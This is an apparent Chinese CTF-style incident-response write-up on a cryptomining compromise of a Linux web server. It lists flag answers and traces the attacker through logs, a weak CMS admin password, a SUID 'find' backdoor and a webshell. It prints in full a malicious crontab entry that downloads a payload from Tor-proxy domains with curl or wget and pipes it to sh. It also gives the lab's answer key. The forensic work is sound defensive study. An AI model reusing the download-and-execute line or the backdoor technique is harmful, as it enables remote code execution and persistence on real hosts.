【应急响应】玄机-linux实战-挖矿
玄机应急响应靶场练习
前情概要
应急响应工程师在内网服务器发现有台主机 cpu 占用过高,猜测可能是中了挖矿病毒,请溯源分析,提交对应的报告给应急小组
虚拟机账号密码 root websecyjxy
web 端口为 8081
题目
1、黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}
192.168.10.135
2、黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}
2023-12-22 19:08:34
3、黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}
404.php-cmd
4、黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}
/usr/bin/find
5、对黑客上传的挖矿病毒进行分析,获取隐藏的Flag
flag{websec_True@888!}
分析
通过查看端口占用,发现部署了小皮面板
通过xp命令查看登录账号密码
进入面板后台,可以简单了解下网站部署情况
下载访问日志,进行简单的分析
分析发现仅有一个ip在攻击:192.168.10.135
访问网站,熟悉下网站的架构
是dedecms,这个cms存在很多历史漏洞,先看下后台是不是有弱口令
管理员弱口令,同时发现存在hacker账户
该账户的登录ip为攻击者ip,登录时间可以被看作是攻陷网站的时间
接着在主机上查看history信息,发现设置find为suid权限,可以猜测是黑客设置的后门文件
/usr/bin/find
接着需要找到挖矿病毒,通常这类程序都会设置计划任务
查看/var/spool/cron/目录无结果
[root@ip-10-0-10-3 ~]# cd /var/spool/cron/
[root@ip-10-0-10-3 cron]# ls
[root@ip-10-0-10-3 cron]# ls -al
total 0
drwx------. 2 root root 6 Aug 9 2019 .
drwxr-xr-x. 8 root root 87 Dec 22 10:58 ..
[root@ip-10-0-10-3 cron]# crontab -l
no crontab for root
查看/etc/crontab发现恶意程序
[root@ip-10-0-10-3 cron]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/7 * * * * root R=$(shuf -i 1-29 -n 1);
sleep ${R:-0};
BP=$(dirname "$(command -v yes)");
BP=${BP:-"/usr/bin"};G1="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then
G1="echo";for f in ${BP}/*;
do
strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;
done;
fi;
G2="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then
G2="echo";
for f in ${BP}/*;
do
strings $f 2>/dev/null|grep -q "to <[email protected]>" && G2="$f" && break;
done;
fi;
if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then
echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
C=" -fsSLk --connect-timeout 26 --max-time 75 ";
W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";
H="https://an7kmd2wp4xo7hpr";
T1=".tor2web.su/";
T2=".d2web.org/";
T3=".onion.sh/";
P="src/ldm";
($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
简单分析一下:
- 每隔7分钟执行一次任务。
- 生成一个随机数
$R
,然后睡眠$R
秒,这个随机数的范围是1到29。 - 确定
yes
或curl
命令的路径。 - 如果系统中没有安装
curl
,则尝试找到与curl
相关的命令或脚本。 - 确定
wget
命令的路径。 - 如果系统中没有安装
wget
,则尝试找到与wget
相关的命令或脚本。 - 检查
/etc/hosts
文件,如果存在与Tor网络相关的条目,则将127.0.0.1 localhost
写入/etc/hosts
文件。 - 设置变量
$C
、$W
、$H
、$T1
、$T2
、$T3
、$P
。 - 从指定的URL下载文件
src/ldm
,支持三种不同的域名后缀(.tor2web.su
、.d2web.org
、.onion.sh
),优先使用curl
,如果没有则使用wget
。 - 下载完成后,通过管道将其传递给
sh
命令进行执行。
总的来说,这个定时任务是一段具有下载和执行功能的脚本,它从指定的URL下载文件,并在本地执行该文件
接着寻找下载的文件:ldm
[root@ip-10-0-10-3 cron]# find / -name "ldm" -type f
/etc/.cache/ldm
文件比较大,基本是一些功能函数
注意到一段python代码
解一下base64,得到flag